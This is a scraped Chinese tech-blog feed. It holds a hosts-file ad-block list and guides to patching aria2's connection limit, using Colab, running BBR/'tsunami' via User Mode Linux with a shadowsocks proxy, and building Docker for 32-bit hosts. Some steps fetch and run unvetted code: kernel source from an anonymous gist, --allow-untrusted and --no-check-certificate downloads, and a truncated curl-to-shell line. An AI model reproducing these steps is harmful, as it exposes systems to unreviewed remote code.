/>0.0.0.0 ad.ph.doubleclick.net<br />0.0.0.0 ad-emea.doubleclick.net<br />0.0.0.0 help.doubleclick.net<br />0.0.0.0 gan.doubleclick.net<br />0.0.0.0 fls.au.doubleclick.net<br />0.0.0.0 fls.doubleclick.net<br />0.0.0.0 stats.g.doubleclick.net<br />0.0.0.0 ad.fr.doubleclick.net<br />0.0.0.0 ad-apac.doubleclick.net<br />0.0.0.0 n4061ad.hk.doubleclick.net<br />0.0.0.0 ad.jp.doubleclick.net<br />0.0.0.0 ad.sa.doubleclick.net<br />0.0.0.0 googleads2.g.doubleclick.net<br />0.0.0.0 s2.video.doubleclick.net<br />0.0.0.0 n4403ad.doubleclick.net<br />0.0.0.0 googleads.g.doubleclick.net<br />0.0.0.0 ad.rs.doubleclick.net<br />0.0.0.0 ad.ca.doubleclick.net<br />0.0.0.0 ad.ar.doubleclick.net<br />0.0.0.0 ad.in.doubleclick.net<br />0.0.0.0 ad.gt.doubleclick.net<br />0.0.0.0 ad.cz.doubleclick.net<br />0.0.0.0 learn.doubleclick.net<br />0.0.0.0 n479ad.doubleclick.net<br />0.0.0.0 ad.sg.doubleclick.net<br />0.0.0.0 ad.ie.doubleclick.net<br />0.0.0.0 reports.doubleclick.net<br />0.0.0.0 ad.hr.doubleclick.net<br />0.0.0.0 ad.mx.doubleclick.net<br />0.0.0.0 securepubads.g.doubleclick.net<br />0.0.0.0 ad.is.doubleclick.net<br />0.0.0.0 ad.il.doubleclick.net<br />0.0.0.0 ad.th.doubleclick.net<br />0.0.0.0 ad.tw.doubleclick.net<br />0.0.0.0 ad.eg.doubleclick.net<br />0.0.0.0 ad2.doubleclick.net<br />0.0.0.0 ad.hk.doubleclick.net<br />0.0.0.0 doubleclick.net<br />0.0.0.0 ad.hu.doubleclick.net<br />0.0.0.0 ad.si.doubleclick.net<br />0.0.0.0 ad.ro.doubleclick.net<br />0.0.0.0 ad.nz.doubleclick.net<br />0.0.0.0 ad.cn.doubleclick.net<br />0.0.0.0 ad.tr.doubleclick.net<br />0.0.0.0 motifcdn2.doubleclick.net<br />0.0.0.0 fls.uk.doubleclick.net<br />0.0.0.0 ad.no.doubleclick.net<br />0.0.0.0 ad.n2434.doubleclick.net<br />0.0.0.0 pagead.l.doubleclick.net<br />0.0.0.0 ad.uk.doubleclick.net<br />0.0.0.0 ad.co.doubleclick.net<br />0.0.0.0 www2.doubleclick.net<br />0.0.0.0 ad.au.doubleclick.net<br />0.0.0.0 ad.cl.doubleclick.net<br />0.0.0.0 demo.doubleclick.net<br />0.0.0.0 ad.br.doubleclick.net<br />0.0.0.0 ad-g.doubleclick.net<br />0.0.0.0 adclick.g.doubleclick.net<br />0.0.0.0 ad.pt.doubleclick.net<br />0.0.0.0 ns2.doubleclick.net<br />0.0.0.0 ad.pl.doubleclick.net<br />0.0.0.0 ad.us.doubleclick.net<br />0.0.0.0 ad.de.doubleclick.net<br />0.0.0.0 ad.ch.doubleclick.net<br />0.0.0.0 googleadservices.com<br />0.0.0.0 pagead2.googleadservices.com<br />0.0.0.0 4.afs.googleadservices.com<br />0.0.0.0 partner.googleadservices.com<br />0.0.0.0 www.googleadservices.com<br />0.0.0.0 www.hooqy.com<br />0.0.0.0 ads.hooqy.com<br />0.0.0.0 hooqy.com<br />0.0.0.0 www.doubleclick.com<br />0.0.0.0 doubleclick.com<br />0.0.0.0 m.doubleclick.com<br />0.0.0.0 www3.doubleclick.com<br />0.0.0.0 www2.doubleclick.com<br />0.0.0.0 www.edomz.com<br />0.0.0.0 edomz.com<br />0.0.0.0 syndication.adlandmark.com<br />0.0.0.0 ads.mopub.com<br />0.0.0.0 mopub.com<br />0.0.0.0 ad.adperium.com<br />0.0.0.0 www.adperium.com<br />0.0.0.0 adperium.com<br />0.0.0.0 ads.youtube.com<br />0.0.0.0 hasoffers.com<br />0.0.0.0 www.hasoffers.com<br />0.0.0.0 a.collective-media.net<br />0.0.0.0 b.collective-media.net<br />0.0.0.0 ad.collective-media.net<br />0.0.0.0 l.collective-media.net<br />0.0.0.0 neptune2.appads.com<br />0.0.0.0 neptune.appads.com<br />0.0.0.0 rovio.appads.com<br />0.0.0.0 req2.appads.com<br />0.0.0.0 an.appads.com<br />0.0.0.0 req.appads.com<br />0.0.0.0 caggsm-img.appads.com<br />0.0.0.0 rovio3.appads.com<br />0.0.0.0 neptune1.appads.com<br />0.0.0.0 rovio1.appads.com<br />0.0.0.0 saturn2.appads.com<br />0.0.0.0 jupiter.appads.com<br />0.0.0.0 jupiter3.appads.com<br />0.0.0.0 rovio2.appads.com<br />0.0.0.0 req1.appads.com<br />0.0.0.0 req3.appads.com<br />0.0.0.0 saturn1.appads.com<br />0.0.0.0 neptune3.appads.com<br />0.0.0.0 jupiter2.appads.com<br />0.0.0.0 saturn3.appads.com<br />0.0.0.0 p.inte.sogou.com<br />0.0.0.0 m.lu.sogou.com<br />0.0.0.0 ad.api.3g.youku.com<br />0.0.0.0 de.as.pptv.com<br />0.0.0.0 ad.api.3g.tudou.com<br />0.0.0.0 cpu.baidu.com<br />0.0.0.0 api.tv.sohu.com<br />0.0.0.0 api.gamex.mobile.youku.com<br />0.0.0.0 valf.atm.youku.com<br />0.0.0.0 valp.atm.youku.com<br />0.0.0.0 iyes.youku.com<br />0.0.0.0 js.tudouui.com<br />0.0.0.0 m.aty.sohu.com<br />0.0.0.0 agn.aty.sohu.com<br />0.0.0.0 go.sohu.com<br />0.0.0.0 pinglun.sohu.com<br />0.0.0.0 images.sohu.com<br />0.0.0.0 m.tv.sohu.com<br />0.0.0.0 lives.l.qq.com<br />0.0.0.0 pub.funshion.com<br />0.0.0.0 aa0.pub.funshion.com<br />0.0.0.0 n.mark.letv.com<br />0.0.0.0 ark.letv.com<br />0.0.0.0 static.app.m.letv.com<br />0.0.0.0 down.sandai.net<br />0.0.0.0 logic.cpm.cm.sandai.net<br />0.0.0.0 api.cupid.iqiyi.com<br />0.0.0.0 t7z.cupid.iqiyi.com<br />0.0.0.0 mp4.res.hunantv.com<br />0.0.0.0 afp.csbew.com<br />0.0.0.0 m.hunantv.com<br />0.0.0.0 bs.da.hunantv.com<br />0.0.0.0 x.da.hunantv.com<br />0.0.0.0 api2.adsmogo.com<br />0.0.0.0 adsmogo.net<br />0.0.0.0 pubads.g.doubleclick.net<br />0.0.0.0 stats.kascend.com<br />0.0.0.0 fengyunzhibo.com<br />0.0.0.0 shouji.baofeng.com<br />0.0.0.0 wx.houyi.baofeng.net<br />0.0.0.0 xs.houyi.baofeng.net<br />0.0.0.0 app.video.baidu.com<br />0.0.0.0 adsame.com<br />0.0.0.0 zp265.com<br />0.0.0.0 ad.agrantsem.com<br />0.0.0.0 adn.agrantsem.com<br />0.0.0.0 jisucn.com<br />0.0.0.0 union.doudouguo.com<br />0.0.0.0 doudouguo.com<br />0.0.0.0 union.dangdang.com<br />0.0.0.0 9cpc.com<br />0.0.0.0 mediav.com<br />0.0.0.0 egooad.com<br />0.0.0.0 cpm360.com<br />0.0.0.0 adqoo.com<br />0.0.0.0 5uad.com<br />0.0.0.0 xcy8.com<br />0.0.0.0 70yx.com<br />0.0.0.0 70e.com<br />0.0.0.0 qlunion.com<br />0.0.0.0 duomeng.net<br />0.0.0.0 100cpc.com<br />0.0.0.0 cnxad.com<br />0.0.0.0 cnxad.net<br />0.0.0.0 7794.com<br />0.0.0.0 js.12l22.net<br />0.0.0.0 11l11.net<br />0.0.0.0 7794lm.com<br />0.0.0.0 kk7kk.com<br />0.0.0.0 99g99.net<br />0.0.0.0 12l22.net<br />0.0.0.0 77power.com<br />0.0.0.0 yigao.com<br />0.0.0.0 8dulm.com<br />0.0.0.0 yunads.com<br />0.0.0.0 huimee.com<br />0.0.0.0 i.ipinyou.com<br />0.0.0.0 778669.com<br />0.0.0.0 adk2.com<br />0.0.0.0 popads.net<br />0.0.0.0 popadscdn.net<br />0.0.0.0 37cs.com<br />0.0.0.0 yinooo.com<br />0.0.0.0 6dad.com<br />0.0.0.0 jdlhg.com<br />0.0.0.0 yongv.com<br />0.0.0.0 yy32.com<br />0.0.0.0 qiyou.com<br />0.0.0.0 5ufo.com<br />0.0.0.0 d1ad.com<br />0.0.0.0 windsad.com<br />0.0.0.0 9yad.com<br />0.0.0.0 5221.net<br />0.0.0.0 star8.net<br />0.0.0.0 jixing8.net<br />0.0.0.0 51ads.com<br />0.0.0.0 to.ysjwj.com<br />0.0.0.0 yiwad.com<br />0.0.0.0 p.yiqifa.com<br />0.0.0.0 70link.com<br />0.0.0.0 7clink.com<br />0.0.0.0 union.1188.com<br />0.0.0.0 z5x.net<br />0.0.0.0 ueads.net<br />0.0.0.0 adsue.com<br />0.0.0.0 casalemedia.com<br />0.0.0.0 sdk.mobad.ijinshan.com<br />0.0.0.0 dianjoy.com<br />0.0.0.0 pagead2.googlesyndication.com<br />0.0.0.0 google.com<br />0.0.0.0 googleadsl.com<br />0.0.0.0 mi.gdt.qq.com<br />0.0.0.0 w.m.taobao.com<br />0.0.0.0 adsage.com<br />0.0.0.0 cpro.baidu.com<br />0.0.0.0 cpro.baidustatic.com<br />0.0.0.0 pos.baidu.com<br />0.0.0.0 cb.baidu.com<br />0.0.0.0 imageplus.baidu.com<br />0.0.0.0 a.baidu.com<br />0.0.0.0 cbjs.baidu.com<br />0.0.0.0 ecma.bdimg.com<br />0.0.0.0 impservice2.youdao.com<br />0.0.0.0 acs86.com<br />0.0.0.0 o2omobi.com<br />0.0.0.0 fastapi.net<br />0.0.0.0 ex.umengcloud.com<br />0.0.0.0 ex.mobmore.com<br />0.0.0.0 zj66.net<br />0.0.0.0 adwo.com<br />0.0.0.0 tanx.com<br />0.0.0.0 1688.com<br />0.0.0.0 alimama.com<br />0.0.0.0 taobao.com<br />0.0.0.0 tmall.com<br />0.0.0.0 m.simba.taobao.com<br />0.0.0.0 ad-stir.com<br />0.0.0.0 adpooh.com<br />0.0.0.0 humanding.com<br />0.0.0.0 yule8.net<br />0.0.0.0 ju33.com<br />0.0.0.0 pdsjycm.com<br />0.0.0.0 inmobi.com<br />0.0.0.0 ad.daum.net<br />0.0.0.0 lianmeng.admin5.com<br />0.0.0.0 union.admin5.com<br />0.0.0.0 zampdsp.com<br />0.0.0.0 serving-sys.com<br />0.0.0.0 snssdk.com<br />0.0.0.0 mobile.zhongguowangshi.com<br />0.0.0.0 tuyaya.com<br />0.0.0.0 youdao.com<br />0.0.0.0 meitu.com<br />0.0.0.0 meitudata.com<br />0.0.0.0 mapp.meitu.com<br />0.0.0.0 api.webapp.58.com<br />0.0.0.0 api.wireless.58.com<br />0.0.0.0 58.com<br />0.0.0.0 fotoable.com<br />0.0.0.0 ad.fotoable.com<br />0.0.0.0 gamesdk.m.duoku.com<br />0.0.0.0 doodlemobile.com<br />0.0.0.0 static.51y5.net<br />0.0.0.0 shouji.360tpcdn.com<br />0.0.0.0 ikuaishou.com<br />0.0.0.0 51tv.com<br />0.0.0.0 .51tv.com<br />0.0.0.0 mvads.kugou.com<br />0.0.0.0 img.momocdn.com<br />0.0.0.0 25pp.com<br />0.0.0.0 ad-cache.dopool.com<br />0.0.0.0 show.m.mediav.com<br />0.0.0.0 adm.easou.com<br />0.0.0.0 api.moji.com<br />0.0.0.0 yuanfen5.com<br />0.0.0.0 advert.mobile.meituan.com<br />0.0.0.0 elong.com<br />0.0.0.0 img1.126.net<br />0.0.0.0 ifeng.com<br />0.0.0.0 bitauto.com<br />0.0.0.0 market.21cn.com<br />0.0.0.0 ad-resource.huanqiu.com<br />0.0.0.0 p2.pstatp.com<br />0.0.0.0 pstatp.com<br />0.0.0.0 m.cctv.com<br />0.0.0.0 apas.aipai.com<br />0.0.0.0 js.2011.8684.com<br />0.0.0.0 mt4.baidu.com<br />0.0.0.0 wapiknow.bdimg.com<br />0.0.0.0 navad.117q.com<br />0.0.0.0 ims.117q.com<br />0.0.0.0 iee5.com<br />0.0.0.0 ad.yuanfenup.com<br />0.0.0.0 api.cp.guiji.com<br />0.0.0.0 m.haoghost.com<br />0.0.0.0 prscripts.com<br />0.0.0.0 static.yujiehenaishang.com<br />0.0.0.0 ap.tnkfactory.com<br />0.0.0.0 ysjwj.com<br />0.0.0.0 rwjfs.com<br />0.0.0.0 wqsph.net<br />0.0.0.0 ads.greystripe.com<br />0.0.0.0 ads1.greystripe.com<br />0.0.0.0 ads2.greystripe.com<br />0.0.0.0 ads3.greystripe.com<br />0.0.0.0 ads4.greystripe.com<br />0.0.0.0 ads5.greystripe.com<br />0.0.0.0 gmc.cmgame.com<br />0.0.0.0 drm.cmgame.com<br />0.0.0.0 s.csbew.com<br />0.0.0.0 app.ysapk.com<br />0.0.0.0 sstc360.com<br />0.0.0.0 ad-brix.com<br />0.0.0.0 leadboltads.net<br />0.0.0.0 admin.appnext.com<br />0.0.0.0 gdprob.b0.upaiyun.com<br />0.0.0.0 adshow.b0.upaiyun.com<br />0.0.0.0 cmigate.com<br />0.0.0.0 websystem.b0.upaiyun.com<br />0.0.0.0 adtina.com<br />0.0.0.0 play.api.3g.tudou.com<br /><br /><br />::1&nbsp;&nbsp;&nbsp;&nbsp; localhost ip6-localhost ip6-loopback<br />ff02::1 ip6-allnodes<br />ff02::2 ip6-allrouters<br /><br /></p>https://www.qrv5.net/p26Sat, 13 Mar 2021 23:41:41 GMT编译aria2,修改并发线程限制https://www.qrv5.net/p25<p></p><p>由于aria2官方源码带有16线程单任务并发限制,而百度盘单线程只给100k/s,所以有必要增加线程数,那就需要自行下载源码进行编译了。</p><p><br />源码下载地址:<a href="https://github.com/aria2/aria2/releases/" target="_blank">https://github.com/aria2/aria2/releases/</a></p><p><br /></p><blockquote>cd aria2-1.34.0<p>vi ./src/OptionHandlerFactory.cc</p></blockquote><p><br /></p><p>修改 TEXT_MAX_CONNECTION_PER_SERVER 后参数。此处修改为-1,小机器我限速9000k/s。</p><p><br /></p><blockquote><p>&nbsp;&nbsp;&nbsp; OptionHandler* op(new NumberOptionHandler(PREF_MAX_CONNECTION_PER_SERVER,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TEXT_MAX_CONNECTION_PER_SERVER,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;128&quot;, 1, -1, &#039;x&#039;));</p></blockquote><p>更多修改参考:<a href="https://github.com/archlinuxcn/repo/blob/master/aria2-fast/aria2-fast.patch" target="_blank">https://github.com/archlinuxcn/repo/blob/master/aria2-fast/aria2-fast.patch</a></p><p><br />然后开始编译。</p><blockquote><p>sudo apt-get install -y wget libcurl4-openssl-dev libevent-dev ca-certificates libssl-dev pkg-config build-essential intltool libxml2-dev libgcrypt-dev libssl-dev<br />./configure<br />make<br />sudo make install<br /></p></blockquote><p><br /></p><p><br />就酱。</p><p><br /></p><p></p>https://www.qrv5.net/p25Sat, 02 Jun 2018 10:04:52 GMT使用谷歌colab练习深度学习https://www.qrv5.net/p24<p>首先登陆谷歌网盘https://drive.google.com</p><p>创建相应文件夹,上传或者创建ipynb文件。右键&gt; More &gt; Colaboratory即可创建。</p><p></p><p>双击文件,点击上方open with Colaboratory进入colab。</p><p>修改python版本及gpu分配在Edit &gt; Notebook settings or Runtime&gt;Change runtime type</p><p>添加谷歌网盘依赖并按提示授权</p><pre>!apt-get install -y -qq software-properties-common python-software-properties module-init-tools<br />!add-apt-repository -y ppa:alessandro-strada/ppa 2&gt;&amp;1 &gt; /dev/null<br />!apt-get update -qq 2&gt;&amp;1 &gt; /dev/null<br />!apt-get -y install -qq google-drive-ocamlfuse fuse<br />from google.colab import auth<br />auth.authenticate_user()<br />from oauth2client.client import GoogleCredentials<br />creds = GoogleCredentials.get_application_default()<br />import getpass<br />!google-drive-ocamlfuse -headless -id={creds.client_id} -secret={creds.client_secret} &lt; /dev/null 2&gt;&amp;1 | grep URL<br />vcode = getpass.getpass()<br />!echo {vcode} | google-drive-ocamlfuse -headless -id={creds.client_id} -secret={creds.client_secret}<br /></pre><p>挂载云盘,这样训练产生的一些文件可以被保存到云盘里</p><pre>!mkdir -p drive<br />!google-drive-ocamlfuse drive</pre><p>其他命令</p><pre>!wget https://raw.githubusercontent.com/vincentarelbundock/Rdatasets/master/csv/datasets/Titanic.csv -P drive/app<br />!pip install -q keras<br /></pre><p>目前云端配置为</p><pre>单核志强2.2G<br />内存13G<br />显卡k80<br /></pre><p><br /></p><p>参考文章</p><p><a href="https://medium.com/deep-learning-turkey/google-colab-free-gpu-tutorial-e113627b9f5d" target="_blank">https://medium.com/deep-learning-turkey/google-colab-free-gpu-tutorial-e113627b9f5d</a></p><p><br /></p><p></p>https://www.qrv5.net/p24Sat, 27 Jan 2018 13:01:16 GMTalpine镜像构建与OpenVZ下开启BBR拥塞控制,并开启暴力BBR算法https://www.qrv5.net/p23<p>本文部分转自https://www.fanyueciyuan.info/jsxj/OpenVZ_BBR_UML_Alpine_Linux.html</p><p><br /></p><p>安装uml<br /></p><p>apt-get install uml-utilities</p><p><br /></p><p>在OpenVZ(须TUN/TAP支持)环境中通过UML(User Mode Linux)开启BBR。</p><p>1,制作<span>Alpine Linux镜像</span></p><p>在<span>KVM的Debian 8上制作需要使用的镜像。</span></p><p><span><span>关于Alpine Linux,详情查看其<a href="https://alpinelinux.org/" target="_blank">官网</a>。</span></span></p><p>首先写一个ext4格式的空镜像,打上ROOT的标签,方便写fstab。然后挂载到alpine目录下</p><pre class="brush:bash; toolbar:false;">dd if=/dev/zero of=alpine_mini bs=1M count=150 mkfs.ext4 -L ROOT alpine_mini mkdir alpine mount -o loop alpine_mini alpine</pre><p><br /></p><p>这里Alpine Linux版本选择3.5,下载相应的apk tool,把基本的系统写入到空镜像中</p><pre class="brush:bash; toolbar:false;">REL=&quot;v3.5&quot; REL=${REL:-edge} MIRROR=${MIRROR:-http://nl.alpinelinux.org/alpine} REPO=$MIRROR/$REL/main ARCH=$(uname -m) ROOTFS=${ROOTFS:-alpine} APKV=`curl -s $REPO/$ARCH/APKINDEX.tar.gz | tar -Oxz | grep -a &#039;^P:apk-tools-static$&#039; -A1 | tail -n1 | cut -d: -f2` mkdir tmp curl -s $REPO/$ARCH/apk-tools-static-${APKV}.apk | tar -xz -C tmp sbin/apk.static tmp/sbin/apk.static --repository $REPO --update-cache --allow-untrusted --root $ROOTFS --initdb add alpine-base printf &#039;%s\n&#039; $REPO &gt; $ROOTFS/etc/apk/repositories </pre><p><br /></p><p>接下来最重要的是写分区表,将下面的东西写入到alpine/etc/fstab文件中</p><pre class="brush:as3; toolbar:false;"># # /etc/fstab: static file system information # # &lt;file system&gt; &lt;dir&gt; &lt;type&gt; &lt;options&gt; &lt;dump&gt; &lt;pass&gt; LABEL=ROOT / auto defaults 1 1</pre><p><br /></p><p>其他的配置,都可以进入镜像后再操作。</p><p>由于宿主机里面本身就有go版本的ss了,直接从系统里面复制一下,配置里面修改个端口就行了。</p><pre class="brush:bash; toolbar:false;">mkdir alpine/etc/shadowsocks-go cp /usr/local/bin/ss-goserver alpine/usr/local/bin cp /etc/shadowsocks-go/config.json alpine/etc/shadowsocks-go</pre><p><br /></p><p>如果没有,可以直接去官网下载<a href="https://github.com/shadowsocks/shadowsocks-go/releases/latest" target="_blank">最新版</a>。</p><p>#注,可后续安装python版本</p><p>apk update<br />apk add wget<br />apk add py-pip<br />wget https://github.com/shadowsocks/shadowsocks/archive/master.zip --no-check-certificate<br />unzip master.zip<br />/root/shadowsocks-master/shadowsocks/server.py&nbsp; -p 9191 -m aes-256-gcm --workers 5 -k passwd &amp;<br /><br /></p><p><br /></p><p>顺便修改下alpine/etc/sysctl.conf,配合ss优化一番。</p><pre class="brush:bash; toolbar:false;"># max open files fs.file-max = 51200 # max read buffer net.core.rmem_max = 67108864 # max write buffer net.core.wmem_max = 67108864 # default read buffer net.core.rmem_default = 65536 # default write buffer net.core.wmem_default = 65536 # max processor input queue net.core.netdev_max_backlog = 4096 # max backlog net.core.somaxconn = 4096 # resist SYN flood attacks net.ipv4.tcp_syncookies = 1 # reuse timewait sockets when safe net.ipv4.tcp_tw_reuse = 1 # turn off fast timewait sockets recycling net.ipv4.tcp_tw_recycle = 0 # short FIN timeout net.ipv4.tcp_fin_timeout = 30 # short keepalive time net.ipv4.tcp_keepalive_time = 1200 # outbound port range net.ipv4.ip_local_port_range = 10000 65000 # max SYN backlog net.ipv4.tcp_max_syn_backlog = 4096 # max timewait sockets held by system simultaneously net.ipv4.tcp_max_tw_buckets = 5000 # turn on TCP Fast Open on both client and server side net.ipv4.tcp_fastopen = 3 # TCP receive buffer net.ipv4.tcp_rmem = 4096 87380 67108864 # TCP write buffer net.ipv4.tcp_wmem = 4096 65536 67108864 # turn on path MTU discovery net.ipv4.tcp_mtu_probing = 1 #BBR net.core.default_qdisc = fq net.ipv4.tcp_congestion_control = bbr #tsunami</pre><p><br /></p><p>镜像设定完毕后,卸载掉镜像。</p><pre class="brush:bash; toolbar:false;">umount ./alpine</pre><p><br /></p><p>2,制作UML的可执行文件vmlinux</p><p>安装依赖</p><pre class="brush:bash; toolbar:false;">apt-get install build-essential libncurses5-dev bc screen</pre><p><br /></p><p>在https://www.kernel.org/上找到需要的内核。</p><p>这里以4.10.1内核为例。</p><pre class="brush:bash; toolbar:false;">wget https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.10.1.tar.xz tar xf linux-4.10.1.tar.xz rm linux-4.10.1.tar.xz cd linux-4.10.1 make defconfig ARCH=um make menuconfig ARCH=um</pre><p><br /></p><p>——————————————————</p><p>如需编译变态版BBR即tsunami,需要添加以下步骤再执行上述make命令。</p><p><br />参考当时bbr的提交<a href="https://patchwork.ozlabs.org/patch/671069/" target="_blank">https://patchwork.ozlabs.org/patch/671069/</a></p><p><br /></p><p>vi net/ipv4/Kconfig</p><p>(在bbr附近添加)</p><p>config TCP_CONG_TSUNAMI<br />&nbsp;&nbsp; &nbsp;tristate &quot;BBR tsunami TCP&quot;<br />&nbsp;&nbsp; &nbsp;default y<br />&nbsp;&nbsp; &nbsp;---help---<br /><br />&nbsp;&nbsp; &nbsp;BBR (Bottleneck Bandwidth and RTT) TCP congestion control aims to<br />&nbsp;&nbsp; &nbsp;maximize network utilization and minimize queues. It builds an explicit<br />&nbsp;&nbsp; &nbsp;model of the the bottleneck delivery rate and path round-trip<br />&nbsp;&nbsp; &nbsp;propagation delay. It tolerates packet loss and delay unrelated to<br />&nbsp;&nbsp; &nbsp;congestion. It can operate over LAN, WAN, cellular, wifi, or cable<br />&nbsp;&nbsp; &nbsp;modem links. It can coexist with flows that use loss-based congestion<br />&nbsp;&nbsp; &nbsp;control, and can operate with shallow buffers, deep buffers,<br />&nbsp;&nbsp; &nbsp;bufferbloat, policers, or AQM schemes that do not provide a delay<br />&nbsp;&nbsp; &nbsp;signal. It requires the fq (&quot;Fair Queue&quot;) pacing packet scheduler.</p><p><br /></p><p>vi net/ipv4/Makefile<br />(在bbr附近添加)</p><p>&nbsp;obj-$(CONFIG_NET_TCPPROBE) += tcp_probe.o</p><p>+obj-$(CONFIG_TCP_CONG_BBR) += tcp_tsunami.o</p><p>&nbsp;obj-$(CONFIG_TCP_CONG_BBR) += tcp_bbr.o<br />&nbsp;obj-$(CONFIG_TCP_CONG_BIC) += tcp_bic.o<br />&nbsp;obj-$(CONFIG_TCP_CONG_CDG) += tcp_cdg.o</p><p><br /></p><p><br /></p><p>添加源码</p><p>wget -O net/ipv4/tcp_tsunami.c https://gist.github.com/anonymous/ba338038e799eafbba173215153a7f3a/raw/55ff1e45c97b46f12261e07ca07633a9922ad55d/tcp_tsunami.c<br /></p><p>——————————————————<br /></p><p><br /></p><p>在配置菜单中,除了把TCP_BBR选上,还要保证内核支持net.ipv4.tcp_syncookies和net.core.default_qdisc选项。</p><p>通过按空格来选择项目,只有*状态才是构建,下面是基本的内容。</p><pre class="brush:bash; toolbar:false;">UML-specific options ==&gt; [*] Force a static link Device Drivers ==&gt; [*] Network device support ==&gt; &lt;*&gt; Universal TUN/TAP device driver support [*] Networking support ==&gt; Networking options ==&gt; [*] IP: TCP syncookie support ==&gt; [*] TCP: advanced congestion control ==&gt; &lt;*&gt; BBR TCP ==&gt; &lt;*&gt; Default TCP congestion control (BBR) ==&gt; [*] QoS and/or fair queueing ==&gt; &lt;*&gt; Quick Fair Queueing scheduler (QFQ) ==&gt; &lt;*&gt; Controlled Delay AQM (CODEL) ==&gt; &lt;*&gt; Fair Queue Controlled Delay AQM (FQ_CODEL) ==&gt; &lt;*&gt; Fair Queue</pre><p><br /></p><p>配置完成后开始构建以及可执行文件减肥</p><pre class="brush:bash; toolbar:false;">make ARCH=um vmlinux strip -s vmlinux</pre><p><br /></p><p>3,在UML中配置Apline Linux</p><p>为了让Apline Linux有网可用,外部网络可穿透9000-19000端口到内部,要在宿主机上开启tap,设置iptables</p><pre class="brush:bash; toolbar:false;">D_I=`ip route show 0/0 | sort -k 7 | head -n 1 | sed -n &#039;s/^default.* dev \([^ ]*\).*/\1/p&#039;` sudo ip tuntap add tap0 mode tap sudo ip addr add 10.0.0.1/24 dev tap0 sudo ip link set tap0 up sudo iptables -P FORWARD ACCEPT sudo iptables -t nat -A POSTROUTING -o ${D_I} -j MASQUERADE sudo iptables -t nat -A PREROUTING -i ${D_I} -p tcp --dport 9000:19000 -j DNAT --to-destination 10.0.0.2</pre><p><br /></p><p>然后,开启镜像</p><pre class="brush:bash; toolbar:false;">sudo ./vmlinux ubda=alpine_mini rw eth0=tuntap,tap0 mem=64m</pre><p><br /></p><p>通过screen命令来操作小虚拟机,下面的X,根据具体情况修改。</p><pre class="brush:bash; toolbar:false;">screen /dev/pts/X</pre><p><br /></p><p>系统默认下,root用户没有密码。系统中,可以执行setup-alpine命令来一步一步配置系统。</p><p>需要注意的是网络设定,Ip address for eth0=10.0.0.2,gateway=10.0.0.1,netmask=255.255.255.0,DNS nameserver=8.8.8.8。</p><p>其他的根据自己需要来设定。</p><p>开机自启的网络有bug,需要重新启动网络才可用。</p><p>这里选择设定开机自启动脚本来简单修复下。</p><pre class="brush:bash; toolbar:false;">rc-update add local default </pre><p><br /></p><p>索性加入swapfile和ss的开机自启动,先<span>创建swapfile</span></p><pre class="brush:bash; toolbar:false;">dd if=/dev/zero of=/swapfile bs=1M count=64 chmod 600 /swapfile</pre><p><br /></p><p><span>然后用vi</span><span>编辑/etc/local.d/my.start文件</span></p><pre class="brush:bash; toolbar:false;">#!/bin/sh # swap on /sbin/mkswap /swapfile /sbin/swapon /swapfile # fix net sleep 3 /etc/init.d/networking restart # ss /usr/bin/nohup /usr/local/bin/ss-goserver -c /etc/shadowsocks-go/config.json &gt; /dev/null 2&gt;&amp;1 &amp;</pre><p><br /></p><p>不要忘了加上可写的权限</p><pre class="brush:bash; toolbar:false;">chmod +x /etc/local.d/my.start</pre><p><br /></p><p>最后,reboot一下看看配置是否都生效了。</p><p>如果需要安装其他的软件的话,例如curl,可以使用它提供的包管理软件apk</p><pre class="brush:bash; toolbar:false;">apk add curl</pre><p><br /></p><p><br /></p><p>查看策略状态</p><p>sysctl net.ipv4.tcp_available_congestion_control<br />sysctl net.ipv4.tcp_congestion_control<br />sysctl -w net.ipv4.tcp_congestion_control=bbr #tsunami</p><p><br /></p><p><br /></p><p>4,总结</p><p>实际上镜像和vmlinux只需要做一遍,在其他的64位linux系统上,配置好tap和转发,再次复用它们即可。</p><p><a href="https://github.com/fanyueciyuan/eazy-for-ss/tree/master/openvz-bbr" target="_blank">https://github.com/fanyueciyuan/eazy-for-ss/tree/master/openvz-bbr</a></p><p><br /></p><p><br />添加tsunami编译的x86版本vmlinux</p><p>链接: https://pan.baidu.com/s/1jHNPrlO 密码: uycu<br /></p><p>alpine镜像及vmlinux内核</p><p>链接: https://pan.baidu.com/s/1jHNPr8a 密码: fav5</p><p><br /></p><p><br /><br /></p>https://www.qrv5.net/p23Sat, 22 Jul 2017 05:48:16 GMTx86运行docker服务https://www.qrv5.net/p22<p></p><p>docker官方默认只支持x64架构的系统作为host,而如果安装的系统是32位,或者cpu根本就只支持32位,那还有机会使用docker来开启服务吗?当然可以。当然,32位的host,运行的docker镜像也是32位的。</p><p><br />经过一番谷歌,可以查到一些文章,本文主要受<a href="http://www.nirmata.com/2016/02/09/docker-daemon-for-x32-architectures/" target="_blank">这篇</a>启发,但编译过程遇到很多麻烦,以至于最终过程与文中差异很大,所以重新写一篇文章来说说如何编译dockerd-i386。</p><p><br /></p><p>按照文中的方案,我们需要一个x64系统的linux来运行docker-dev镜像来编译docker。这里我们使用虚拟机安装linux mint18.1。记得安装64位版本。</p><p>安装过程省略,下面进入正题,编译docker。</p><p><br /></p><p>1.安装git和编译工具</p><p>sudo apt-get install git-all build-essential</p><p><br /></p><p>2.安装docker<br />这里我推荐使用国内的加速。参考http://get.daocloud.io/。</p><p>curl -sSL https://get.daocloud.io/docker | 